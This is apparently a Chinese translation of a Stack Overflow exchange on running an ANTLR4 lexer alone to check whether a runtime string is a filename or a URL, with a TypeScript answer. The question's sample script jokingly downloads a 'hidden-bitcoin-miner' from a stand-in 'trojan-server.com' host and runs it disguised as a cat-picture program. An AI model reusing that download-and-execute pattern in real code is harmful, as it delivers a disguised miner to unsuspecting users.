我有一个 ANTLR4 语法,其中包含“文件名”和“URL”的标记,但该语言还包括字符串和字符串表达式(可能是文件名或 URL)。有没有一种好方法可以在解释器中的某个字符串上调用标记生成器,并根据我的标记规则查看该字符串是文件名还是 URL?我只是想特殊情况下,我正在解释的脚本已经动态创建了这些东西之一,所以我可以特殊对待这些字符串。
lexer // this I already have (or something like this)
FileName: ([A-Za-z]':')?('\\'?[-_.A-Za-z0-9]+)+ ;
URL: ([A-Za-z]+':')?'/'?('/'?[-_.A-Za-z0-9]+)+ ;
Intepreter.java
public boolean isFileName(String string) {
return antlr.lexer.token(string).type == FileName; // this is the magic I want
}
Script // this is what I am looking to understand
# you get cat pictures, I get paid...
url = 'https://trojan-server.com/hidden-bitcoin-miner';
fn = 'c:' + programdirectory() + 'show-cat-pictures.exe';
download(url, fn);
exec(fn);
最佳答案
据我了解这个问题,您希望您的解释器操作能够接收在运行时构造的字符串,以便能够利用您的词法分析器来确定这些字符串是 URL 还是文件引用。
类似这样的事情:
doDownloadAction(source: string, dest: string) {
if (isFilename(source)) {
一个答案是启动一个由你的字符串提供的新词法分析器,就像你开始解析时所做的那样,但没有解析器......像这样的东西(在 Typescript 中,抱歉,这就是我使用的ANTLR):
import {LMLexer} from "./LMLexer";
import {CharStreams} from "antlr4ts";
function isFilename(txt: string) {
const stringLexer = new LMLexer(CharStreams.fromString(txt));
return stringLexer.nextToken().type == LMLexer.FileName;
}
for ( const str of [ "C:\\Users\\Tony\\file.txt", "http://stackoverflow.com" ]) {
console.log(str, isFilename(str) ? "is" : "is not", "a filename");
}
关于java - 有没有一种使用 ANTLR4 无需解析即可检查特定标记的好方法?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/65541178/